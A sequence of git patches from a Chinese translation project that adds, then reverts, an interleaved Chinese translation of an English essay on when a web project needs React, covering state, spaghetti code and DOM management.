--- a/TODO/code-comments-the-good-the-bad-and-the-ugly.md
+++ b/TODO/code-comments-the-good-the-bad-and-the-ugly.md
@@ -1,5 +1,5 @@
 > * 原文地址：[Putting comments in code: the good, the bad, and the ugly.](https://medium.freecodecamp.com/code-comments-the-good-the-bad-and-the-ugly-be9cc65fbf83)
-> * 原文作者：[Bill Sourour](https://medium.freecodecamp.com/@BillSourour?source=post_header_lockup)
+> * 原文作者：本文已获原作者 [Bill Sourour](https://medium.freecodecamp.com/@BillSourour) 授权
 > * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)
 > * 译者： [bambooom](https://github.com/bambooom)
 > * 校对者：[zhangqippp](https://github.com/zhangqippp)、[steinliber](https://github.com/steinliber)

From f25b6f439f7951921f2782deaa45af404876a46e Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?ARX-8=5C=E6=AC=A7=E9=98=B3=E5=A4=8F=E6=98=B1?=
 <catwindboy@hotmail.com>
Date: Sun, 30 Apr 2017 10:55:53 +0800
Subject: [PATCH 296/638] =?UTF-8?q?2017.4.30=20=E5=88=9D=E7=BF=BB=E5=AE=8C?=
 =?UTF-8?q?=E6=88=90?=
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

---
 TODO/project-need-react.md | 121 +++++++++++++++++++++++++++++++++++++
 1 file changed, 121 insertions(+)

diff --git a/TODO/project-need-react.md b/TODO/project-need-react.md
index f861a660328..f451a421379 100644
--- a/TODO/project-need-react.md
+++ b/TODO/project-need-react.md
@@ -6,114 +6,235 @@
 
 # When Does a Project Need React? #
 
+# 项目什么时候需要 React 框架呢？ #
+
 You know when a project needs HTML and CSS, because it's all of them. When you reach for JavaScript is fairly clear: when you need interactivity or some functionality that only JavaScript can provide. It used to be fairly clear when we reached for libraries. We reached for jQuery to help us simplify working with the DOM, Ajax, and handle cross-browser issues with JavaScript. We reached for underscore to give us helper functions that the JavaScript alone didn't have.
 
+你知道什么时候项目需要 HTML 和 CSS，因为这是项目的基础。什么时候用 JavaScript 也很清楚：当你需要只有它能提供的交互功能的时候。过去我们什么时候应该用代码库也很清楚：我们需要 jQuery 来帮助我们简化 DOM 操作，调用 Ajax，处理浏览器兼容问题；我们需要 Underscore 提供 JavaScript 无法单独提供的函数式编程。
+
 As the need for these libraries fades, and we see a massive rise in new frameworks, I'd argue it's not as clear **when to reach for them**. At what point do we need React?
 
+但是随着对这些代码库的需求逐渐消失，我们看到很多新兴的框架的大幅增长。我认为就不那么容易确定**何时需要它们**了。比如说，我们什么情况下需要 React 框架？
+
 I'm just going to use React as a placeholder here for kinda large JavaScript framework thingies. Vue, Ember, Svelte... whatever. I understand they aren't all the same, but when to reach for them I find equally nebulous.
 
+在众多的 JavaScript 框架中 —— Vue、Ember、Svelte ... 不管哪一个，我想以 React 框架为例子来探讨它适合什么项目。我明白这些框架并不完全相同，但是使用它们的时机应该是有一些共性的。
+
 Here's my take.
 
+这是我的做法。
+
 ### ✅ Because there is lots of state. ###
 
+### ✅ 当项目中有大量的状态的时候 ###
+
 Even "state" is a bit of a nebulous word. Imagine things like this:
 
+即便“状态（state）”这个词也无法完全准确的表达我的意思。想象一下这些情况：
+
 - Which navigation item is active
+- 导航栏的哪个栏目正处于激活状态
 - Whether a button is disabled or not
+- 一个按钮是否被禁用
 - The value of an input
+- 输入框的值
 - Which accordion sections are expanded
+- 哪一个下拉框是弹出的状态
 - When an area is loading
+- 何时加载某个区域
 - The user that is logged in and the team they belong to
+- 登陆的用户如何进行权限控制
 - Whether the thing the user is working on is published, or a draft
+- 用户编写的文章是已发布状态还是草稿状态
 
 "Business logic"-type stuff that we regularly deal with. State can also be straight up content:
 
+“业务逻辑” - 我们经常处理的这类东西。状态也可能和内容直接相关：
+
 - All the comments on an article and the bits and bobs that make them up
+- 一篇文章中所有的评论，以及零零碎碎的组成它们的东西。
 - The currently viewed article and all its metadata
+- 当前正在查看的文章，以及该文章的一些属性
 - An array of related articles and the metadata for those
+- 一系列相关的文章，以及这些文章的属性
 - A list of authors
+- 一份作者列表
 - An an activity log of recent actions a user has taken
+- 一份记录用户近期操作的活动日志
 
 React doesn't help you *organize* that state, it just says: I know you need to *deal* with state, so let's just *call* it state and have programmatic ways to set and get that state.
 
+React 框架并没有帮助你**组织**这些状态，它只是说：我知道你需要处理状态的问题，所以我们不如把它设为 state 属性，通过编程的方式进行读写。
+
 Before React, we might have *thought* in terms of state, but, for the most part, didn't manage it as a direct concept.
 
+在有 React 框架之前，我们也许**考虑过**状态的定义，但是大部分时候并没有把它当作一个直接的概念去管理。
+
 Perhaps you've heard the phrase "single source of truth"? A lot of times we treated the DOM as our single source of truth. For example, say you need to know if a form on your website is able to be submitted. Maybe you'd check to see if `$(".form input[type='submit']).is(":disabled")` because all your business logic that dealt with whether or not the form could be submitted or not ultimately changed the disabled attribute of that button. So the button became this defacto source of truth for the state of your app. 
 
+也许你听说过这个短语“单一数据源”？很多时候我们把 DOM 作为我们的单一数据源。比如说，你需要知道是否可以提交某个表单了。也许你会用 `$(".form input[type='submit']).is(":disabled")` 去检查一下，因为所有影响表单是否可提交的业务逻辑最终都会改变按钮的 disable 属性。所以按钮变成了你的 app 事实上的数据源。
+
 Or say you needed to figure of the name of the first comment author on an article. Maybe you'd write `$(".comments > ul > li:first > h3.comment-author).text()` because the DOM is the only place that knows that information.
 
+或者说，你需要知道某篇文章的第一个评论者的名字，也许你会这样写 `$(".comments > ul > li:first > h3.comment-author).text()`，因为 DOM 是你唯一可以获得这些信息的地方。
+
 React kinda tells us: 
 
+React 框架这样告诉我们：
+
 1. Let's start thinking about all that stuff as state. 
+    
+    我们把这些所有的东西都想像成状态（state）。
+
 2. I'll do ya one better: state is a chunk of JSON, so it's easy to work with and probably works nicely with your back end.
+
+    我会为你做好一件事：把状态转换为一串 JSON 字符串，这样的话处理起来很容易，也许你的服务端可以处理的很漂亮。
+
 3. And one more even better: You build your HTML using bits of that state, and you won't have to deal with the DOM directly at all, I'll handle all that for you (and likely do a better/faster job than you would have.)
 
+    另外还有一个更好的地方是：你可以用这些状态（state）直接构建 HTML ，你根本不需要直接操作 DOM，我都替你处理了（也许比你亲自处理的要更快更好）。
+
 ### ✅ To Fight Spaghetti. ###
 
+### ✅ 对抗面条式代码 （Spaghetti）###
+
 This is highly related to the state stuff we were just talking about. 
 
+这和我们刚才讨论过的状态非常有关系。
+
 "Spaghetti" code is when code organization and structure has gotten away from you. Imagine, again, a form on your site. It has some business logic stuff that specifically deals with the inputs inside of it. Perhaps there is a number input that, when changed, display the result of some calculation beside it. The form can also be submitted and needs to be validated, so perhaps that code is in a validation library elsewhere. Perhaps you disable the form until you're sure all JavaScript has loaded elsewhere, and that logic is elsewhere. Perhaps when the form is submitted, you get data back and that needs logic and handling. Nothing terribly surprising here, but you can see how this can get confusing quickly. How does a new dev on the project, looking at that form, reason out everything that is going on?
 
+“面条式”代码，指的是代码的组织结构已经脱离你的掌控。再想象一下，假设有这么一个表单，它有一些专门处理表单内输入框的业务逻辑。该表单内有这么一个数字输入框，当这个输入框的值改变的时候，在旁边显示根据该值进行某些计算后的结果。这个表单可以被提交至服务端，因此也需要合法性检查，而也许合法性检查的代码位于其他地方的验证库中。也许在确定某处的 JavaScript 代码全部加载完之前，你还需要禁用此表单，而这个逻辑也在别的地方。也许当表单提交后，你还需要处理一些返回值。没有什么特别让人意外的功能，但是凑在一起就很容易让人蒙圈。如果这个项目由一个新的开发人员接手后，当他看到这个表单时他如何能捋清这些逻辑呢？
+
 React encourages the use of building things into modules. So this form would likely either be a module of its own or comprised of other smaller modules. Each of them would handle the logic that is directly relevant to it. 
 
+React 框架鼓励把东西打包成组件。所以这个表单要么自己是一个组件，要么由其他的小组件组成。每一个组件只处理与自己直接相关的逻辑。
+
 React says: *well, you aren't going to be watching the DOM directly for changes and stuff, because the DOM is mine and you don't get to work with it directly*. Why don't you start thinking of these things as part of the state, change state when you need to, and I'll deal with the rest, rerendering what needs to be rerendered.
 
+React 框架说：**嗯，你不会直接看到 DOM 的变化，因为 DOM 是我的，你无法直接操作它**。为什么你不把这些东西想象成状态的一部分，当需要的时候就改变状态（state）。我会处理其他的事情，重新渲染需要被渲染的界面。
+
 It should be said that React itself doesn't entirely solve spaghetti. You can still have state in all kinds of weird places, name things badly, and connect things in weird ways. 
 
+应该说，只有 React 框架还不足以解决面条式代码。因为状态也可能出现在各个奇怪的地方，或者状态起的名字很糟糕，或者用莫名其妙的方式调用。
+
 In my limited experience, it's Redux that is the thing that really kills spaghetti. Redux says: I'll handle *all* the important state, totally globally, not module-by-module. I am the absolute source of truth. If you need to change state, there is quite a *ceremony* involved (I've heard it called that, and I like it.) There are reducers and dispatched actions and such. All changes follow the ceremony.
 
+在我有限的经验内，Redux 框架才能真正解决面条式代码的问题。Redux 框架说：我会处理**所有**重要的状态，都是全局的，不是组件依赖的。我才是唯一的数据源。如果你需要改变状态，就要采用特定的**仪式**（我听说它是这么叫的，而且我喜欢这么叫）。通过 reducers 和被分发的（dispatched） actions，所有的改变都会遵循这种仪式。
+
 If you go the Redux road (and there are variations of it, of course), you end up with really solid code. It's much harder to break things and there are clear trails to follow for how everything is wired together.
 
+如果你准备在项目中加入 Redux（当然也需要一点微小的改变），那么你就可以和硬编码说再见了。通过加入 Redux 框架，组件会变的高内聚，也很容易理清整个需求的逻辑走向了。
+
 ### ✅ Lots of DOM management. ###
 
+### ✅ 要控制大量的DOM ###
+
 Manually handling the DOM is probably the biggest cause of spaghetti code.
 
+手动处理 DOM 可能是引起面条式代码的最大原因。
+
 1. Inject HTML over here!
+
+    在这里插入一段 HTML ！
+    
 2. Rip something out over here!
+
+    在这里把某些东西扔出去！
+    
 3. Watch this area for this event!
+
+    监听特定区域的特定事件（event）！
+    
 4. Bind a new event over here!
+
+    在这里绑定一个新事件！
+
 5. New incoming content! Inject again! Make sure it has the right event bindings!
 
+    又来了新内容。再次插入到 HTML 里，确保它绑定了正确的事件！
+
+
 All these things can happen any time from anywhere in an app that's gone spaghetti. Real organization has been given up and it's back to the DOM as the source of truth. It's hard to know exactly what's going on for any given element, so everybody just asks the DOM, does what they need to do, and crosses their fingers it doesn't mess with somebody else.
 
+此类事情可以发生在一个 app 的任何地方、任何时间，这就造成了面条式代码。手动管理是不靠谱的，因为这么做的话又变成 DOM 数据源了。很难准确的知道任何给定的元素发生了什么，所以每个人只好直接查询 DOM ，做他们必须做的事情，顺便向上帝祈祷他们这么做没干扰到别人。
+
 React says: you don't get to deal with the DOM directly. I have a virtual DOM and I deal with that. Events are bound directly to the elements, and if you need it to do something above and beyond something directly handle-able in this module, you can kind of ceremoniously call things in higher order modules, but that way, the breadcrumb trail can be followed.
 
+React 框架说：你不需要直接操作 DOM 。我用虚拟 DOM 来处理真实的 DOM。事件直接绑定在组件内，如果你想在该组件之外做些什么的话，只需要按照规范在父组件里调用就可以了。通过这种方式，所有的逻辑就有迹可循了。
+
 *Complicated* DOM management is another thing. Imagine a chat app. New chat messages might appear because a realtime database has new data from other chatters and some new messages have arrives. Or you've typed a new message yourself! Or the page is loading for the first time and old messages are being pulled from a local data store so you have something to see right away. Here's [a Twitter thread](https://twitter.com/mjackson/status/849636985740210177) that drives that home.
 
+管理**复杂的** DOM 是另一件 适合 React 框架的事情。想象有一个聊天软件，当数据库接收到其他聊天者传递来的新聊天信息时，在聊天窗口里应该显示这些新的信息。否则你只能自己给自己聊天了！或者当聊天页面第一次被加载的时候，可以从本地数据库里找出几条旧信息显示出来，这样你立刻有东西可以看了。比如说这个[推特例子](https://twitter.com/mjackson/status/849636985740210177)。
+
 ### ❌ Just because. It's the new hotness. ###
 
+### ❌ 只是因为，React 框架是目前最火的框架。 ###
+
 Learning something for the sake of learning something is awesome. Do that. 
 
+为了学习而学习，是非常酷的。坚持下去。
+
 Building a project for clients and real human being users requires more careful consideration. 
 
+为了满足用户的需求而构建项目则需要更谨慎一点。
+
 A blog, for example, *probably* has none of the problems and fits none of the scenarios that would make React a good fit. And because it's not a good fit, it's probably a *bad* fit, because it introduces complicated technology and dependencies for something that doesn't call for it.
 
+举个例子，一个博客**也许**没什么复杂的逻辑，一点也不符合应该使用 React 框架的情况。所以如果不是很适合的话，那么也许就是**很不**适合 React 框架。因为这么做引入了复杂的技术，依赖了很多根本没用到的东西。
+
 And yet, gray area. If that blog is a SPA ("Single Page App", e.g. no browser refreshing) that is built from data from a headless CMS and had fancy server-side rendering... well maybe that is React territory again.
 
+在完全适合和完全不适合之间，如果这个博客是一个 SPA （“单页面应用”，不需要浏览器刷新），通过 headless CMS 获取数据构建该博客，并且具有出色的服务端渲染...好吧，也许又是 React 框架的领域。
+
 The web app CMS that makes that blog? Maybe a good choice for React, because of all the state.
 
+网络 app 内容管理系统创建的这种博客？也许用 React 是一个好选择，因为也是一大堆的状态。
+
 ### ❌ I just like JavaScript and want to write everything in JavaScript. ###
 
+### ❌ 我就是喜欢 JavaScript ，就是想用它来编写任何东西。 ###
+
 People get told, heck, I've told people: learn JavaScript. It's huge. It powers all kinds of stuff. There are jobs in it. It's not going anyway.
 
+我经常安利周围的人：学习 JavaScript。因为 JavaScript 的知识太丰富了。它能做很多很多的事情，所以好好学习 JavaScript 永远不会过时。
+
 It's only in recent web history that it's become possible to never leave JavaScript. You got Node.js on the server side. There are loads of projects that yank CSS out of the mix and handle styles through JavaScript. And with React, your HTML is in JavaScript too.
 
+只有在最近的网络发展中，Javascript 才变的不可或缺。你通过 Node.js 构建服务端，也有很多项目可以通过 JavaScript 处理 CSS。现在通过 React 框架，你还可以通过 JavaScript 来操作 HTML。
+
 All JavaScript! All hail JavaScript!
 
+万物归于 JavaScript！JavaScript 万岁！
+
 That's cool and all, but again, just because you can doesn't mean you should. Not all projects call for this, and in fact, most probably don't. 
 
+JavaScript 确实碉堡了，但是你可以这么做并不意味着你必须这么做。并不是所有的项目都必须使用 JavaScript ，而且事实上，有相当一部分有可能压根不需要。
+
 ### ☯️ That's what I know. ###
 
+### ☯️ 这就是我所知道的。 ###
+
 (There are decent emojis for YES and NO, but MAYBE is tougher!)
 
+（**是**和**否**有体面的表情，但是**也许**更坚韧！）
+
+
 You're learning. Awesome. Everybody is. Keep learning. The more you know the more informed decisions you can make about what tech to use. 
 
+你在学习，太好了。每个人都在学习，所以坚持学习吧。你知道的越多，你越知道该应该用什么技术。
+
 But sometimes you gotta build with what you know, so I ain't gonna ding ya for that.
 
+但是很多时候你只能以现有的技术来构建项目，所以我也不会反复强调这一点。
+
 ### ☯️ That's where the jobs are. ###
 
+### ☯️ 这就是工作。 ###
+
 Not everybody has a direct say in what technology is used on any given project. Hopefully, over time, you have influence in that, but that takes time. Eden says she [spent 2 years with Ember](https://twitter.com/edenthecat/status/849640183360352257) because that's where the jobs were. No harm in that. Everybody's gotta get paid, and Ember might have been a perfect fit for those projects.
 
+在给定的任何项目中，不是每个人都决定应该底用什么技术。希望随着时间的增长，你可以更大层度上的影响决策。Eden 说她[花了两年的时间研究 Ember](https://twitter.com/edenthecat/status/849640183360352257)，因为这就是她的工作。没有任何冒犯的意思，但是拿人钱财就得替人消灾。Ember 也许比较适合这些项目。
 
 ---
 

From 7a4f3b6d814ef49cdc0b685db71666ec70201076 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?ARX-8=5C=E6=AC=A7=E9=98=B3=E5=A4=8F=E6=98=B1?=
 <catwindboy@hotmail.com>
Date: Sun, 30 Apr 2017 11:22:57 +0800
Subject: [PATCH 297/638] =?UTF-8?q?Revert=20"2017.4.30=20=E5=88=9D?=
 =?UTF-8?q?=E7=BF=BB=E5=AE=8C=E6=88=90"?=
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

This reverts commit f25b6f439f7951921f2782deaa45af404876a46e.
---
 TODO/project-need-react.md | 121 -------------------------------------
 1 file changed, 121 deletions(-)

diff --git a/TODO/project-need-react.md b/TODO/project-need-react.md
index f451a421379..f861a660328 100644
--- a/TODO/project-need-react.md
+++ b/TODO/project-need-react.md
@@ -6,235 +6,114 @@
 
 # When Does a Project Need React? #
 
-# 项目什么时候需要 React 框架呢？ #
-
 You know when a project needs HTML and CSS, because it's all of them. When you reach for JavaScript is fairly clear: when you need interactivity or some functionality that only JavaScript can provide. It used to be fairly clear when we reached for libraries. We reached for jQuery to help us simplify working with the DOM, Ajax, and handle cross-browser issues with JavaScript. We reached for underscore to give us helper functions that the JavaScript alone didn't have.
 
-你知道什么时候项目需要 HTML 和 CSS，因为这是项目的基础。什么时候用 JavaScript 也很清楚：当你需要只有它能提供的交互功能的时候。过去我们什么时候应该用代码库也很清楚：我们需要 jQuery 来帮助我们简化 DOM 操作，调用 Ajax，处理浏览器兼容问题；我们需要 Underscore 提供 JavaScript 无法单独提供的函数式编程。
-
 As the need for these libraries fades, and we see a massive rise in new frameworks, I'd argue it's not as clear **when to reach for them**. At what point do we need React?
 
-但是随着对这些代码库的需求逐渐消失，我们看到很多新兴的框架的大幅增长。我认为就不那么容易确定**何时需要它们**了。比如说，我们什么情况下需要 React 框架？
-
 I'm just going to use React as a placeholder here for kinda large JavaScript framework thingies. Vue, Ember, Svelte... whatever. I understand they aren't all the same, but when to reach for them I find equally nebulous.
 
-在众多的 JavaScript 框架中 —— Vue、Ember、Svelte ... 不管哪一个，我想以 React 框架为例子来探讨它适合什么项目。我明白这些框架并不完全相同，但是使用它们的时机应该是有一些共性的。
-
 Here's my take.
 
-这是我的做法。
-
 ### ✅ Because there is lots of state. ###
 
-### ✅ 当项目中有大量的状态的时候 ###
-
 Even "state" is a bit of a nebulous word. Imagine things like this:
 
-即便“状态（state）”这个词也无法完全准确的表达我的意思。想象一下这些情况：
-
 - Which navigation item is active
-- 导航栏的哪个栏目正处于激活状态
 - Whether a button is disabled or not
-- 一个按钮是否被禁用
 - The value of an input
-- 输入框的值
 - Which accordion sections are expanded
-- 哪一个下拉框是弹出的状态
 - When an area is loading
-- 何时加载某个区域
 - The user that is logged in and the team they belong to
-- 登陆的用户如何进行权限控制
 - Whether the thing the user is working on is published, or a draft
-- 用户编写的文章是已发布状态还是草稿状态
 
 "Business logic"-type stuff that we regularly deal with. State can also be straight up content:
 
-“业务逻辑” - 我们经常处理的这类东西。状态也可能和内容直接相关：
-
 - All the comments on an article and the bits and bobs that make them up
-- 一篇文章中所有的评论，以及零零碎碎的组成它们的东西。
 - The currently viewed article and all its metadata
-- 当前正在查看的文章，以及该文章的一些属性
 - An array of related articles and the metadata for those
-- 一系列相关的文章，以及这些文章的属性
 - A list of authors
-- 一份作者列表
 - An an activity log of recent actions a user has taken
-- 一份记录用户近期操作的活动日志
 
 React doesn't help you *organize* that state, it just says: I know you need to *deal* with state, so let's just *call* it state and have programmatic ways to set and get that state.
 
-React 框架并没有帮助你**组织**这些状态，它只是说：我知道你需要处理状态的问题，所以我们不如把它设为 state 属性，通过编程的方式进行读写。
-
 Before React, we might have *thought* in terms of state, but, for the most part, didn't manage it as a direct concept.
 
-在有 React 框架之前，我们也许**考虑过**状态的定义，但是大部分时候并没有把它当作一个直接的概念去管理。
-
 Perhaps you've heard the phrase "single source of truth"? A lot of times we treated the DOM as our single source of truth. For example, say you need to know if a form on your website is able to be submitted. Maybe you'd check to see if `$(".form input[type='submit']).is(":disabled")` because all your business logic that dealt with whether or not the form could be submitted or not ultimately changed the disabled attribute of that button. So the button became this defacto source of truth for the state of your app. 
 
-也许你听说过这个短语“单一数据源”？很多时候我们把 DOM 作为我们的单一数据源。比如说，你需要知道是否可以提交某个表单了。也许你会用 `$(".form input[type='submit']).is(":disabled")` 去检查一下，因为所有影响表单是否可提交的业务逻辑最终都会改变按钮的 disable 属性。所以按钮变成了你的 app 事实上的数据源。
-
 Or say you needed to figure of the name of the first comment author on an article. Maybe you'd write `$(".comments > ul > li:first > h3.comment-author).text()` because the DOM is the only place that knows that information.
 
-或者说，你需要知道某篇文章的第一个评论者的名字，也许你会这样写 `$(".comments > ul > li:first > h3.comment-author).text()`，因为 DOM 是你唯一可以获得这些信息的地方。
-
 React kinda tells us: 
 
-React 框架这样告诉我们：
-
 1. Let's start thinking about all that stuff as state. 
-    
-    我们把这些所有的东西都想像成状态（state）。
-
 2. I'll do ya one better: state is a chunk of JSON, so it's easy to work with and probably works nicely with your back end.
-
-    我会为你做好一件事：把状态转换为一串 JSON 字符串，这样的话处理起来很容易，也许你的服务端可以处理的很漂亮。
-
 3. And one more even better: You build your HTML using bits of that state, and you won't have to deal with the DOM directly at all, I'll handle all that for you (and likely do a better/faster job than you would have.)
 
-    另外还有一个更好的地方是：你可以用这些状态（state）直接构建 HTML ，你根本不需要直接操作 DOM，我都替你处理了（也许比你亲自处理的要更快更好）。
-
 ### ✅ To Fight Spaghetti. ###
 
-### ✅ 对抗面条式代码 （Spaghetti）###
-
 This is highly related to the state stuff we were just talking about. 
 
-这和我们刚才讨论过的状态非常有关系。
-
 "Spaghetti" code is when code organization and structure has gotten away from you. Imagine, again, a form on your site. It has some business logic stuff that specifically deals with the inputs inside of it. Perhaps there is a number input that, when changed, display the result of some calculation beside it. The form can also be submitted and needs to be validated, so perhaps that code is in a validation library elsewhere. Perhaps you disable the form until you're sure all JavaScript has loaded elsewhere, and that logic is elsewhere. Perhaps when the form is submitted, you get data back and that needs logic and handling. Nothing terribly surprising here, but you can see how this can get confusing quickly. How does a new dev on the project, looking at that form, reason out everything that is going on?
 
-“面条式”代码，指的是代码的组织结构已经脱离你的掌控。再想象一下，假设有这么一个表单，它有一些专门处理表单内输入框的业务逻辑。该表单内有这么一个数字输入框，当这个输入框的值改变的时候，在旁边显示根据该值进行某些计算后的结果。这个表单可以被提交至服务端，因此也需要合法性检查，而也许合法性检查的代码位于其他地方的验证库中。也许在确定某处的 JavaScript 代码全部加载完之前，你还需要禁用此表单，而这个逻辑也在别的地方。也许当表单提交后，你还需要处理一些返回值。没有什么特别让人意外的功能，但是凑在一起就很容易让人蒙圈。如果这个项目由一个新的开发人员接手后，当他看到这个表单时他如何能捋清这些逻辑呢？
-
 React encourages the use of building things into modules. So this form would likely either be a module of its own or comprised of other smaller modules. Each of them would handle the logic that is directly relevant to it. 
 
-React 框架鼓励把东西打包成组件。所以这个表单要么自己是一个组件，要么由其他的小组件组成。每一个组件只处理与自己直接相关的逻辑。
-
 React says: *well, you aren't going to be watching the DOM directly for changes and stuff, because the DOM is mine and you don't get to work with it directly*. Why don't you start thinking of these things as part of the state, change state when you need to, and I'll deal with the rest, rerendering what needs to be rerendered.
 
-React 框架说：**嗯，你不会直接看到 DOM 的变化，因为 DOM 是我的，你无法直接操作它**。为什么你不把这些东西想象成状态的一部分，当需要的时候就改变状态（state）。我会处理其他的事情，重新渲染需要被渲染的界面。
-
 It should be said that React itself doesn't entirely solve spaghetti. You can still have state in all kinds of weird places, name things badly, and connect things in weird ways. 
 
-应该说，只有 React 框架还不足以解决面条式代码。因为状态也可能出现在各个奇怪的地方，或者状态起的名字很糟糕，或者用莫名其妙的方式调用。
-
 In my limited experience, it's Redux that is the thing that really kills spaghetti. Redux says: I'll handle *all* the important state, totally globally, not module-by-module. I am the absolute source of truth. If you need to change state, there is quite a *ceremony* involved (I've heard it called that, and I like it.) There are reducers and dispatched actions and such. All changes follow the ceremony.
 
-在我有限的经验内，Redux 框架才能真正解决面条式代码的问题。Redux 框架说：我会处理**所有**重要的状态，都是全局的，不是组件依赖的。我才是唯一的数据源。如果你需要改变状态，就要采用特定的**仪式**（我听说它是这么叫的，而且我喜欢这么叫）。通过 reducers 和被分发的（dispatched） actions，所有的改变都会遵循这种仪式。
-
 If you go the Redux road (and there are variations of it, of course), you end up with really solid code. It's much harder to break things and there are clear trails to follow for how everything is wired together.
 
-如果你准备在项目中加入 Redux（当然也需要一点微小的改变），那么你就可以和硬编码说再见了。通过加入 Redux 框架，组件会变的高内聚，也很容易理清整个需求的逻辑走向了。
-
 ### ✅ Lots of DOM management. ###
 
-### ✅ 要控制大量的DOM ###
-
 Manually handling the DOM is probably the biggest cause of spaghetti code.
 
-手动处理 DOM 可能是引起面条式代码的最大原因。
-
 1. Inject HTML over here!
-
-    在这里插入一段 HTML ！
-    
 2. Rip something out over here!
-
-    在这里把某些东西扔出去！
-    
 3. Watch this area for this event!
-
-    监听特定区域的特定事件（event）！
-    
 4. Bind a new event over here!
-
-    在这里绑定一个新事件！
-
 5. New incoming content! Inject again! Make sure it has the right event bindings!
 
-    又来了新内容。再次插入到 HTML 里，确保它绑定了正确的事件！
-
-
 All these things can happen any time from anywhere in an app that's gone spaghetti. Real organization has been given up and it's back to the DOM as the source of truth. It's hard to know exactly what's going on for any given element, so everybody just asks the DOM, does what they need to do, and crosses their fingers it doesn't mess with somebody else.
 
-此类事情可以发生在一个 app 的任何地方、任何时间，这就造成了面条式代码。手动管理是不靠谱的，因为这么做的话又变成 DOM 数据源了。很难准确的知道任何给定的元素发生了什么，所以每个人只好直接查询 DOM ，做他们必须做的事情，顺便向上帝祈祷他们这么做没干扰到别人。
-
 React says: you don't get to deal with the DOM directly. I have a virtual DOM and I deal with that. Events are bound directly to the elements, and if you need it to do something above and beyond something directly handle-able in this module, you can kind of ceremoniously call things in higher order modules, but that way, the breadcrumb trail can be followed.
 
-React 框架说：你不需要直接操作 DOM 。我用虚拟 DOM 来处理真实的 DOM。事件直接绑定在组件内，如果你想在该组件之外做些什么的话，只需要按照规范在父组件里调用就可以了。通过这种方式，所有的逻辑就有迹可循了。
-
 *Complicated* DOM management is another thing. Imagine a chat app. New chat messages might appear because a realtime database has new data from other chatters and some new messages have arrives. Or you've typed a new message yourself! Or the page is loading for the first time and old messages are being pulled from a local data store so you have something to see right away. Here's [a Twitter thread](https://twitter.com/mjackson/status/849636985740210177) that drives that home.
 
-管理**复杂的** DOM 是另一件 适合 React 框架的事情。想象有一个聊天软件，当数据库接收到其他聊天者传递来的新聊天信息时，在聊天窗口里应该显示这些新的信息。否则你只能自己给自己聊天了！或者当聊天页面第一次被加载的时候，可以从本地数据库里找出几条旧信息显示出来，这样你立刻有东西可以看了。比如说这个[推特例子](https://twitter.com/mjackson/status/849636985740210177)。
-
 ### ❌ Just because. It's the new hotness. ###
 
-### ❌ 只是因为，React 框架是目前最火的框架。 ###
-
 Learning something for the sake of learning something is awesome. Do that. 
 
-为了学习而学习，是非常酷的。坚持下去。
-
 Building a project for clients and real human being users requires more careful consideration. 
 
-为了满足用户的需求而构建项目则需要更谨慎一点。
-
 A blog, for example, *probably* has none of the problems and fits none of the scenarios that would make React a good fit. And because it's not a good fit, it's probably a *bad* fit, because it introduces complicated technology and dependencies for something that doesn't call for it.
 
-举个例子，一个博客**也许**没什么复杂的逻辑，一点也不符合应该使用 React 框架的情况。所以如果不是很适合的话，那么也许就是**很不**适合 React 框架。因为这么做引入了复杂的技术，依赖了很多根本没用到的东西。
-
 And yet, gray area. If that blog is a SPA ("Single Page App", e.g. no browser refreshing) that is built from data from a headless CMS and had fancy server-side rendering... well maybe that is React territory again.
 
-在完全适合和完全不适合之间，如果这个博客是一个 SPA （“单页面应用”，不需要浏览器刷新），通过 headless CMS 获取数据构建该博客，并且具有出色的服务端渲染...好吧，也许又是 React 框架的领域。
-
 The web app CMS that makes that blog? Maybe a good choice for React, because of all the state.
 
-网络 app 内容管理系统创建的这种博客？也许用 React 是一个好选择，因为也是一大堆的状态。
-
 ### ❌ I just like JavaScript and want to write everything in JavaScript. ###
 
-### ❌ 我就是喜欢 JavaScript ，就是想用它来编写任何东西。 ###
-
 People get told, heck, I've told people: learn JavaScript. It's huge. It powers all kinds of stuff. There are jobs in it. It's not going anyway.
 
-我经常安利周围的人：学习 JavaScript。因为 JavaScript 的知识太丰富了。它能做很多很多的事情，所以好好学习 JavaScript 永远不会过时。
-
 It's only in recent web history that it's become possible to never leave JavaScript. You got Node.js on the server side. There are loads of projects that yank CSS out of the mix and handle styles through JavaScript. And with React, your HTML is in JavaScript too.
 
-只有在最近的网络发展中，Javascript 才变的不可或缺。你通过 Node.js 构建服务端，也有很多项目可以通过 JavaScript 处理 CSS。现在通过 React 框架，你还可以通过 JavaScript 来操作 HTML。
-
 All JavaScript! All hail JavaScript!
 
-万物归于 JavaScript！JavaScript 万岁！
-
 That's cool and all, but again, just because you can doesn't mean you should. Not all projects call for this, and in fact, most probably don't. 
 
-JavaScript 确实碉堡了，但是你可以这么做并不意味着你必须这么做。并不是所有的项目都必须使用 JavaScript ，而且事实上，有相当一部分有可能压根不需要。
-
 ### ☯️ That's what I know. ###
 
-### ☯️ 这就是我所知道的。 ###
-
 (There are decent emojis for YES and NO, but MAYBE is tougher!)
 
-（**是**和**否**有体面的表情，但是**也许**更坚韧！）
-
-
 You're learning. Awesome. Everybody is. Keep learning. The more you know the more informed decisions you can make about what tech to use. 
 
-你在学习，太好了。每个人都在学习，所以坚持学习吧。你知道的越多，你越知道该应该用什么技术。
-
 But sometimes you gotta build with what you know, so I ain't gonna ding ya for that.
 
-但是很多时候你只能以现有的技术来构建项目，所以我也不会反复强调这一点。
-
 ### ☯️ That's where the jobs are. ###
 
-### ☯️ 这就是工作。 ###
-
 Not everybody has a direct say in what technology is used on any given project. Hopefully, over time, you have influence in that, but that takes time. Eden says she [spent 2 years with Ember](https://twitter.com/edenthecat/status/849640183360352257) because that's where the jobs were. No harm in that. Everybody's gotta get paid, and Ember might have been a perfect fit for those projects.
 
-在给定的任何项目中，不是每个人都决定应该底用什么技术。希望随着时间的增长，你可以更大层度上的影响决策。Eden 说她[花了两年的时间研究 Ember](https://twitter.com/edenthecat/status/849640183360352257)，因为这就是她的工作。没有任何冒犯的意思，但是拿人钱财就得替人消灾。Ember 也许比较适合这些项目。
 
 ---
 

